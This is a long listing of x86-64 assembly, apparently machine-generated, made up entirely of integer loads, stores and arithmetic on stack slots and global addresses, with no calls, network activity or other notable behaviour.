movzx eax, word [0x1401cd7d8]
movzx ecx, word [rsp + 0x1518]
and eax, ecx
mov word [rsp + 0x1590], ax
mov rax, qword [rsp + 0x9528]
mov eax, dword [rax]
mov dword [rsp + 0x4ef0], eax
mov rax, qword [rsp + 0x9258]
mov rcx, qword [rsp + 0x9220]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9338], rax
mov rax, qword [rsp + 0x9048]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ec4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e40], eax
lea rax, [rsp + 0x94c0]
mov qword [rsp + 0x9638], rax
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x95d8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
mov rax, qword [rsp + 0x91d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x207]
shl eax, cl
mov byte [0x1401cc008], al
lea rax, [rsp + 0x14fc]
mov qword [rsp + 0x9640], rax
movsx eax, word [rsp + 0x1504]
mov rcx, qword [0x1401cd768]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9028]
mov word [rcx], ax
mov rax, qword [rsp + 0x94e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9620]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x94e0]
mov byte [rcx], al
lea rax, [rsp + 0x4ecc]
mov qword [rsp + 0x9648], rax
mov rax, qword [rsp + 0x8ed0]
mov rcx, qword [rsp + 0x8ef0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9570]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9150]
mov rax, qword [rax]
mov qword [rsp + 0x9650], rax
mov rax, qword [rsp + 0x90e8]
mov ecx, dword [rsp + 0x4e6c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4ef0], eax
movsx eax, byte [rsp + 0x1f0]
mov rcx, qword [0x1401cd730]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x121], al
mov rax, qword [rsp + 0x8c50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8d78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc036], al
movzx eax, byte [rsp + 0x1fc]
mov byte [rsp + 0x217], al
movzx eax, word [rsp + 0x1560]
movzx ecx, word [0x1401cd7d8]
sub eax, ecx
mov word [rsp + 0x155c], ax
mov rax, qword [rsp + 0x8de8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x95a0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10f8], ax
movsx eax, word [rsp + 0x14c4]
mov rcx, qword [0x1401cd7a0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9250]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f18]
mov eax, dword [rax]
mov dword [rsp + 0x4ef4], eax
mov rax, qword [rsp + 0x8e70]
mov rcx, qword [rsp + 0x94c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f98], rax
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9200]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9588]
mov qword [rcx], rax
lea rax, [rsp + 0x4e54]
mov qword [rsp + 0x9658], rax
mov rax, qword [rsp + 0x8db0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f0]
xor eax, ecx
mov byte [0x1401cc037], al
movzx eax, byte [rsp + 0x1fa]
movzx ecx, byte [rsp + 0x1ea]
shl eax, cl
mov byte [rsp + 0x1b1], al
mov rax, qword [rsp + 0x8fc8]
movzx eax, word [rax]
mov word [rsp + 0x15b0], ax
movzx eax, byte [rsp + 0x1ee]
mov rcx, qword [rsp + 0x9430]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8fb8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9178]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x166]
or eax, ecx
mov rcx, qword [rsp + 0x9318]
mov byte [rcx], al
mov rax, qword [rsp + 0x9350]
mov rax, qword [rax]
mov qword [rsp + 0x9660], rax
mov rax, qword [rsp + 0x92e0]
mov ecx, dword [rsp + 0x4ef0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e7c], eax
mov eax, dword [0x1401cd710]
mov dword [rsp + 0x4ef8], eax
mov rax, qword [rsp + 0x9480]
mov rcx, qword [rsp + 0x94b0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9570]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x90b8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401cd7d8], ax
movzx eax, byte [rsp + 0x214]
mov rcx, qword [rsp + 0x93e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x90e0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1f6]
mov byte [rsp + 0x218], al
movsx eax, word [rsp + 0x1524]
movsx ecx, word [rsp + 0x10f8]
sub eax, ecx
mov word [rsp + 0xeb0], ax
mov rax, qword [rsp + 0x9038]
movzx eax, word [rax]
mov word [rsp + 0x15b4], ax
mov rax, qword [rsp + 0x93c8]
mov rcx, qword [rsp + 0x9290]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4ec4], eax
mov rax, qword [rsp + 0x9308]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e7c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e50], eax
mov rax, qword [rsp + 0x8e00]
mov qword [rsp + 0x9668], rax
mov rax, qword [rsp + 0x9078]
mov rcx, qword [rsp + 0x9438]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x90d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9070]
movzx eax, word [rax]
mov rcx, qword [0x1401cd7c0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc018], ax
lea rax, [rsp + 0x215]
mov qword [rsp + 0x9670], rax
mov rax, qword [rsp + 0x8f70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8fe8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9628]
mov word [rcx], ax
mov rax, qword [rsp + 0x9508]
movzx eax, byte [rax]
mov byte [rsp + 0x219], al
movsx eax, word [0x1401cd7e8]
movsx ecx, word [rsp + 0x156c]
sub eax, ecx
mov word [rsp + 0x153c], ax
mov rax, qword [rsp + 0x9168]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8e70]
shr rax, cl
mov rcx, qword [rsp + 0x9020]
mov qword [rcx], rax
mov rax, qword [rsp + 0x95e8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9308]
mov qword [rsp + 0x9678], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9678]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x479c], eax
mov rax, qword [rsp + 0x90d8]
mov rcx, qword [rsp + 0x9258]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9350]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4d18]
mov dword [rsp + 0x4efc], eax
lea rax, [rsp + 0x14d4]
mov qword [0x1401cd838], rax
movzx eax, byte [rsp + 0x20d]
movzx ecx, byte [rsp + 0x1e1]
xor eax, ecx
mov rcx, qword [rsp + 0x91e0]
mov byte [rcx], al
movsx eax, word [rsp + 0x1514]
movsx ecx, word [rsp + 0x14c8]
and eax, ecx
mov rcx, qword [rsp + 0x9248]
mov word [rcx], ax
movzx eax, byte [0x1401cd726]
mov byte [rsp + 0x21a], al
movzx eax, byte [rsp + 0x1f8]
movzx ecx, byte [rsp + 0x1e2]
add eax, ecx
mov rcx, qword [rsp + 0x92a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x91d0]
mov eax, dword [rax]
mov dword [rsp + 0x4f00], eax
mov rax, qword [rsp + 0x9150]
mov rcx, qword [rsp + 0x8fd0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9618]
mov qword [rcx], rax
mov rax, qword [rsp + 0x94d8]
mov rcx, qword [rsp + 0x8f88]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9308]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f58]
mov qword [rsp + 0x9680], rax
movzx eax, word [rsp + 0x1514]
mov word [0x1401cd840], ax
movsx eax, byte [0x1401cd726]
mov rcx, qword [rsp + 0x9630]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8fa8]
mov byte [rcx], al
lea rax, [rsp + 0x1ea]
mov qword [rsp + 0x9688], rax
mov rax, qword [rsp + 0x9508]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x212]
sub eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov byte [rcx], al
lea rax, [rsp + 0x1508]
mov qword [rsp + 0x9690], rax
mov rax, qword [rsp + 0x8f50]
mov rcx, qword [rsp + 0x9518]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8ff0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9198]
mov rcx, qword [rsp + 0x8f38]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8fd8]
mov qword [rcx], rax
lea rax, [rsp + 0x4cd4]
mov qword [rsp + 0x9698], rax
mov rax, qword [rsp + 0x8c08]
mov rcx, qword [rsp + 0x9068]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8bd0], rax
movzx eax, word [rsp + 0x1528]
movzx ecx, word [rsp + 0x14cc]
xor eax, ecx
mov rcx, qword [0x1401cd790]
mov word [rcx], ax
mov rax, qword [rsp + 0x9028]
movzx eax, word [rax]
mov word [rsp + 0x15b8], ax
mov rax, qword [rsp + 0x9640]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14cc]
sar eax, cl
mov rcx, qword [rsp + 0x92e8]
mov word [rcx], ax
movsx eax, word [rsp + 0x1554]
movsx ecx, word [rsp + 0x1514]
or eax, ecx
mov rcx, qword [rsp + 0x8db8]
mov word [rcx], ax
lea rax, [rsp + 0x1fe]
mov qword [rsp + 0x96a0], rax
mov rax, qword [rsp + 0x9210]
mov rcx, qword [rsp + 0x8fd8]
mov qword [rsp + 0x96a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x96a8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x90a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x93a0]
mov eax, dword [rax]
mov dword [rsp + 0x4f04], eax
mov rax, qword [rsp + 0x9158]
mov eax, dword [rax]
mov ecx, dword [0x1401cd710]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9600]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8e20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9220], rax
movzx eax, word [rsp + 0x1580]
mov rcx, qword [0x1401cd7b0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc06c], ax
lea rax, [rsp + 0x1f3]
mov qword [rsp + 0x96b0], rax
movsx eax, word [rsp + 0x14f0]
mov rcx, qword [rsp + 0x91c0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14c4], ax
lea rax, [rsp + 0x1f0]
mov qword [rsp + 0x96b8], rax
mov rax, qword [rsp + 0x9208]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9160]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8f80]
mov byte [rcx], al
mov rax, qword [rsp + 0x9588]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9010]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8bd0], rax
mov rax, qword [rsp + 0x94e8]
mov rax, qword [rax]
mov qword [rsp + 0x96c0], rax
mov rax, qword [rsp + 0x91f0]
mov ecx, dword [rsp + 0x4840]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x90e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9518]
mov eax, dword [rax]
mov dword [rsp + 0x4f08], eax
movzx eax, byte [rsp + 0x200]
mov rcx, qword [rsp + 0x9608]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1f8], al
movsx eax, byte [rsp + 0x1e3]
movsx ecx, byte [rsp + 0x1ff]
sub eax, ecx
mov byte [0x1401cd724], al
movsx eax, word [rsp + 0x150c]
movsx ecx, word [rsp + 0x156c]
add eax, ecx
mov word [rsp + 0x1164], ax
movzx eax, word [rsp + 0x15b4]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x151c], ax
movsx eax, byte [rsp + 0x20b]
movsx ecx, byte [rsp + 0x107]
shl eax, cl
mov byte [rsp + 0x213], al
lea rax, [0x1401cc028]
mov qword [rsp + 0x96c8], rax
mov rax, qword [rsp + 0x9618]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7f38]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x94b8]
mov eax, dword [rax]
mov dword [rsp + 0x4f0c], eax
mov rax, qword [rsp + 0x9528]
mov rcx, qword [rsp + 0x91f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x95e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9410]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1f3]
and eax, ecx
mov byte [rsp + 0x1fb], al
mov rax, qword [rsp + 0x9690]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9448]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc050], ax
movzx eax, word [rsp + 0x159c]
mov word [rsp + 0x15bc], ax
mov rax, qword [rsp + 0x8fb8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1db]
add eax, ecx
mov byte [rsp + 0x1f3], al
mov rax, qword [rsp + 0x8fa8]
movzx eax, byte [rax]
mov byte [rsp + 0x21b], al
mov rax, qword [rsp + 0x9400]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ec0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8f78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e70]
mov rcx, qword [rsp + 0x88e8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9198], rax
mov rax, qword [rsp + 0x9150]
mov rax, qword [rax]
mov qword [rsp + 0x96d0], rax
mov rax, qword [rsp + 0x94b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ebc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e44], eax
movzx eax, byte [rsp + 0x1fb]
mov byte [rsp + 0x21c], al
lea rax, [rsp + 0x20f]
mov qword [0x1401cd848], rax
movsx eax, word [rsp + 0x1524]
mov rcx, qword [rsp + 0x9098]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x154c], ax
movsx eax, word [rsp + 0x15b8]
movsx ecx, word [rsp + 0x10f8]
imul eax, ecx
mov rcx, qword [rsp + 0x92c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9448]
movzx eax, word [rax]
mov word [rsp + 0x15c0], ax
mov rax, qword [rsp + 0x8c60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e80]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4840], eax
mov eax, dword [rsp + 0x4d18]
mov dword [rsp + 0x4f10], eax
mov rax, qword [rsp + 0x9150]
mov rcx, qword [rsp + 0x8f28]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9490]
mov qword [rcx], rax
lea rax, [rsp + 0x94b0]
mov qword [rsp + 0x96d8], rax
movsx eax, byte [0x1401cd724]
movsx ecx, byte [rsp + 0x209]
sub eax, ecx
mov byte [rsp + 0x101], al
lea rax, [rsp + 0x1534]
mov qword [0x1401cd850], rax
movsx eax, word [rsp + 0x1568]
mov rcx, qword [rsp + 0x9328]
movsx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x92c8]
mov word [rcx], ax
movzx eax, word [rsp + 0x10f8]
mov word [rsp + 0x15c4], ax
movzx eax, byte [rsp + 0x1ce]
mov rcx, qword [rsp + 0x8d48]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1e1], al
movsx eax, byte [rsp + 0x1e5]
mov rcx, qword [rsp + 0x8f40]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1a3], al
mov rax, qword [rsp + 0x9128]
mov rcx, qword [rsp + 0x8fe0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9078]
mov qword [rcx], rax
mov rax, qword [rsp + 0x84e0]
movzx ecx, al
mov rax, qword [rsp + 0x9188]
shr rax, cl
mov rcx, qword [rsp + 0x8f10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9598]
mov eax, dword [rax]
mov dword [rsp + 0x4f14], eax
mov eax, dword [rsp + 0x4e48]
mov ecx, dword [rsp + 0x4f0c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ee0], eax
movsx eax, word [rsp + 0x1544]
mov rcx, qword [rsp + 0x9478]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc058], ax
lea rax, [rsp + 0x1ee]
mov qword [rsp + 0x96e0], rax
mov rax, qword [rsp + 0x9568]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8f08]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1550], ax
movsx eax, word [rsp + 0x153c]
mov rcx, qword [rsp + 0x9028]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10f8], ax
movzx eax, word [rsp + 0x1558]
mov word [rsp + 0x15c8], ax
mov rax, qword [rsp + 0x9338]
mov rcx, qword [rsp + 0x9310]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9150]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e64]
mov dword [rsp + 0x4f18], eax
mov rax, qword [rsp + 0x9308]
mov rcx, qword [rsp + 0x95e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x93b8]
mov dword [rcx], eax
lea rax, [rsp + 0x86e8]
mov qword [rsp + 0x96e8], rax
lea rax, [rsp + 0x215]
mov qword [0x1401cd858], rax
mov rax, qword [rsp + 0x8ed8]
movzx eax, word [rax]
movzx ecx, word [0x1401cc040]
add eax, ecx
mov word [rsp + 0x155c], ax
mov rax, qword [rsp + 0x9218]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x212]
and eax, ecx
mov byte [rsp + 0x20b], al
movzx eax, word [rsp + 0x14d8]
mov word [rsp + 0x15cc], ax
mov rax, qword [rsp + 0x9318]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1fe]
sub eax, ecx
mov byte [rsp + 0x1e6], al
lea rax, [rsp + 0x4e5c]
mov qword [rsp + 0x96f0], rax
mov rax, qword [rsp + 0x90f8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8e00]
shl rax, cl
mov qword [rsp + 0x9560], rax
mov eax, dword [0x1401cc01c]
mov ecx, dword [rsp + 0x4e24]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9240]
mov dword [rcx], eax
lea rax, [rsp + 0x94d0]
mov qword [rsp + 0x96f8], rax
mov rax, qword [rsp + 0x91c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15ac]
or eax, ecx
mov rcx, qword [0x1401cd7c0]
mov word [rcx], ax
movsx eax, word [rsp + 0x154c]
mov rcx, qword [rsp + 0x92c8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9550]
mov word [rcx], ax
movzx eax, byte [rsp + 0x215]
mov byte [rsp + 0x21d], al
movsx eax, byte [rsp + 0x1f4]
mov rcx, qword [rsp + 0x96b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x200]
movzx ecx, byte [rsp + 0x1e9]
and eax, ecx
mov byte [rsp + 0x1ea], al
mov rax, qword [rsp + 0x90b0]
mov eax, dword [rax]
mov dword [rsp + 0x4f1c], eax
mov rax, qword [rsp + 0x9468]
mov ecx, dword [rsp + 0x4e48]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4f10], eax
mov rax, qword [0x1401cc020]
mov qword [rsp + 0x9700], rax
mov rax, qword [rsp + 0x8ed0]
mov rcx, qword [rsp + 0x9638]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8ca0], rax
movzx eax, word [rsp + 0x157c]
movzx ecx, word [rsp + 0x15a4]
sub eax, ecx
mov word [0x1401cd7d8], ax
mov rax, qword [rsp + 0x9138]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x209]
add eax, ecx
mov rcx, qword [rsp + 0x8db0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9628]
movzx eax, word [rax]
mov word [rsp + 0x15d0], ax
mov rax, qword [rsp + 0x95d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9578]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x201], al
lea rax, [rsp + 0x14fc]
mov qword [rsp + 0x9708], rax
mov rax, qword [rsp + 0x9518]
mov rcx, qword [rsp + 0x9378]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4b18], eax
mov rax, qword [rsp + 0x8f10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8be8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8560], rax
mov rax, qword [rsp + 0x95e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x479c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4dd8], eax
mov rax, qword [rsp + 0x8d40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9310]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x95d0], rax
lea rax, [rsp + 0x1e6]
mov qword [0x1401cd860], rax
mov rax, qword [rsp + 0x9688]
movzx eax, byte [rax]
mov byte [rsp + 0x21e], al
mov rax, qword [rsp + 0x8ca8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x202]
sar eax, cl
mov byte [rsp + 0x1e3], al
lea rax, [rsp + 0x1ee]
mov qword [rsp + 0x9710], rax
movzx eax, word [rsp + 0x1500]
movzx ecx, word [rsp + 0x14fc]
xor eax, ecx
mov rcx, qword [rsp + 0x9340]
mov word [rcx], ax
mov rax, qword [rsp + 0x9518]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9378]
mov qword [rsp + 0x9718], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9718]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x9468]
mov dword [rcx], eax
lea rax, [0x1401cd720]
mov qword [rsp + 0x9720], rax
mov rax, qword [rsp + 0x9370]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88e8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9350]
mov rax, qword [rax]
mov qword [rsp + 0x9728], rax
mov rax, qword [rsp + 0x9488]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9248]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc070], ax
mov rax, qword [rsp + 0x9630]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x203]
and eax, ecx
mov byte [rsp + 0x1f2], al
movzx eax, byte [rsp + 0x21e]
mov rcx, qword [rsp + 0x9190]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9578]
mov byte [rcx], al
lea rax, [rsp + 0x15d0]
mov qword [rsp + 0x9730], rax
movsx eax, word [rsp + 0x14d8]
mov rcx, qword [rsp + 0x8f70]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1524], ax
lea rax, [rsp + 0x9680]
mov qword [rsp + 0x9738], rax
mov rax, qword [rsp + 0x9490]
mov rcx, qword [0x1401cc020]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x95d0], rax
mov eax, dword [rsp + 0x4dc4]
mov dword [rsp + 0x4f20], eax
mov rax, qword [rsp + 0x8c58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ee8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9268]
mov dword [rcx], eax
mov rax, qword [rsp + 0x93d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x143]
sub eax, ecx
mov rcx, qword [0x1401cd758]
mov byte [rcx], al
mov rax, qword [rsp + 0x9028]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9488]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8fe8]
mov word [rcx], ax
lea rax, [rsp + 0x15a0]
mov qword [rsp + 0x9740], rax
mov rax, qword [rsp + 0x91d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1e1]
add eax, ecx
mov byte [rsp + 0x207], al
mov rax, qword [rsp + 0x9740]
movzx eax, word [rax]
mov word [rsp + 0x15d4], ax
mov rax, qword [rsp + 0x8d70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9560]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9460]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9558]
mov ecx, dword [rsp + 0x4ecc]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x93c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9548]
mov eax, dword [rax]
mov dword [rsp + 0x4f24], eax
mov rax, qword [rsp + 0x9128]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x95d0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ff8], rax
lea rax, [0x1401cd820]
mov qword [rsp + 0x9748], rax
lea rax, [rsp + 0x20d]
mov qword [0x1401cd868], rax
movzx eax, word [rsp + 0x1558]
movzx ecx, word [rsp + 0x1500]
shl eax, cl
mov rcx, qword [rsp + 0x9498]
mov word [rcx], ax
mov rax, qword [rsp + 0x94e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x210], al
movzx eax, byte [rsp + 0x1ec]
mov byte [rsp + 0x21f], al
mov rax, qword [rsp + 0x91d0]
mov rcx, qword [rsp + 0x93c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9648]
mov dword [rcx], eax
mov rax, qword [0x1401cc028]
mov qword [rsp + 0x9750], rax
mov rax, qword [rsp + 0x9450]
mov rcx, qword [rsp + 0x92c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8b40], rax
mov rax, qword [rsp + 0x96f0]
mov ecx, dword [rsp + 0x4e8c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4cf0], eax
movzx eax, byte [0x1401cd727]
mov byte [rsp + 0x220], al
mov rax, qword [rsp + 0x9568]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9398]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401cc018], ax
movsx eax, byte [rsp + 0xca]
mov rcx, qword [rsp + 0x8fa8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9100]
mov byte [rcx], al
lea rax, [rsp + 0x205]
mov qword [rsp + 0x9758], rax
mov rax, qword [rsp + 0x9708]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1510]
add eax, ecx
mov rcx, qword [rsp + 0x9690]
mov word [rcx], ax
lea rax, [rsp + 0x4de8]
mov qword [rsp + 0x9760], rax
mov rax, qword [0x1401cc028]
mov rcx, qword [rsp + 0x9750]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f58], rax
mov rax, qword [rsp + 0x9018]
mov rcx, qword [rsp + 0x94d0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9428], rax
mov rax, qword [rsp + 0x9470]
mov eax, dword [rax]
mov dword [rsp + 0x4f28], eax
mov rax, qword [0x1401cd7a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x219]
sub eax, ecx
mov byte [rsp + 0x1df], al
movzx eax, byte [rsp + 0xb2]
mov rcx, qword [rsp + 0x96e0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401cc01a], al
mov rax, qword [rsp + 0x8fe8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1504]
shl eax, cl
mov word [rsp + 0xee8], ax
mov rax, qword [rsp + 0x9740]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1540]
xor eax, ecx
mov rcx, qword [rsp + 0x9398]
mov word [rcx], ax
mov rax, qword [rsp + 0x92c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9250]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9628]
mov word [rcx], ax
lea rax, [0x1401cd720]
mov qword [rsp + 0x9768], rax
mov rax, qword [rsp + 0x9350]
mov rax, qword [rax]
